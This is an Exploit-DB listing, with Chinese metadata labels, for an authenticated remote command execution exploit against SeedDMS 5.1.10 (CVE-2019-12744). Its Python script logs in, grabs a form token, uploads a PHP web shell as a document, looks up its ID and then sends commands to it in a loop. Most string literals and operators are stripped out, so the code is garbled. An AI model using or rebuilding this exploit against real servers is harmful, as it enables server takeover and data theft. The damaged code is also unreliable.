标题: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) EDB-ID: 50062 CVE: 2019-12744 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-25 漏洞利用脚本: # Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) 
# Date: 25/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744

import requests
import argparse
import sys
import random
import string
 bs4  BeautifulSoup
 requests_toolbelt  MultipartEncoder

 
    ap  argparseArgumentParser

    apadd_argument  required 
    apadd_argument  required 
    apadd_argument required 

    args  apparse_args

     args args args 

 sessionObj username password url
    loginPath      
    url  loginPath

    postData  
         username
         password
          
    
    
        rsl  sessionObjposturl datapostData

        rslstatus_code  
               rsltext
                
            
                 
                  sessionObjcookiesget_dict
                 sessionObj                
                
        
                
              rslstatus_code
            sysexit
     Exception  e
        
        e
        sysexit

     sessionObj

 sessionObj url
    path  
    url  path
    formToken  

            
        rsl  sessionObjgeturl

        rslstatus_code  
            

            
            soup  BeautifulSouprsltext
            form1  soupfindAll  
            
            soup  BeautifulSoupform1
            formToken  soupfind              
              formTokenattrs
            
             sessionObj formTokenattrs
        
                
              rslstatus_code
            sysexit

     Exception  e
        
        e
        sysexit

     sessionObj formToken

 sessionObj url formToken
    path  
    url  path

    
    letters  stringascii_lowercase
    rand_name  joinrandomchoiceletters  i  

    
    payload  
          formToken
          
          
          rand_name
          
          
          
          
          
          
          
          
              rand_name           
              
            
            
          
    
    
    multiPartEncodedData  MultipartEncoderpayload

                    
        rsl  sessionObjposturl datamultiPartEncodedData headers  multiPartEncodedDatacontent_type

        rslstatus_code  
            
              rand_name

             sessionObj rand_name
        
                
              rslstatus_code
            sysexit


     Exception  e
        
        e
        sysexit

     sessionObj rand_name

 sessionObj url docName
    path  
    url  path
    
            
        rsl  sessionObjgeturl

        rslstatus_code  
            
            soup  BeautifulSouprsltext
            viewFolderTables  soupfindAll  
            
            soup  BeautifulSoupviewFolderTables
            rowsDoc  soupfindAll              

             i  rowsDoc
                soup  BeautifulSouprowsDoci
                tdExtracted  soupfindAll 
                
                foundDocName  tdExtractedcontentscontents

                
                foundDocName  docName
                    
                    tmp  tdExtractedcontentsattrssplit
                    docID  tmpreplace replace 

                      docID

                     sessionObj docID

            
            
            sysexit
            
        
                
              rslstatus_code
            sysexit

     Exception  e
        
        e
        sysexit

     sessionObj

 sessionObj url docID
    
    splitUrl  urlsplit
    remLastDir  splitUrl

    url  
    
     text  remLastDir
        url  text  

    
    path    docID
    url  path

    
    rsl  sessionObjgeturl

    rslstatus_code  
        
        

        
        data  
              
        

        rsl  sessionObjposturl datadata

        rsltext  
            
              rsltextreplace replace 
            
             end
            
            
                cmd  

                cmd  
                    
                    sysexit

                data  
                      cmd
                

                rsl  sessionObjposturl datadata
                rsltextreplace replace 

        
            
            sysexit

    
        
        rslstatus_code
        sysexit




     
    username password url  sysArgument

    sessionObj  requestsSession    

    
    sessionObj  loginsessionObj username password url

    
    sessionObj formToken  formTokenCapturingsessionObj url

    
    sessionObj docName  uploadingPHPsessionObj url formToken

    
    sessionObj docID  getDocIDsessionObj url docName
    
    
    shellsessionObj url docID

 __name__  
    main URL: https://www.exploit-db.com/exploits/50062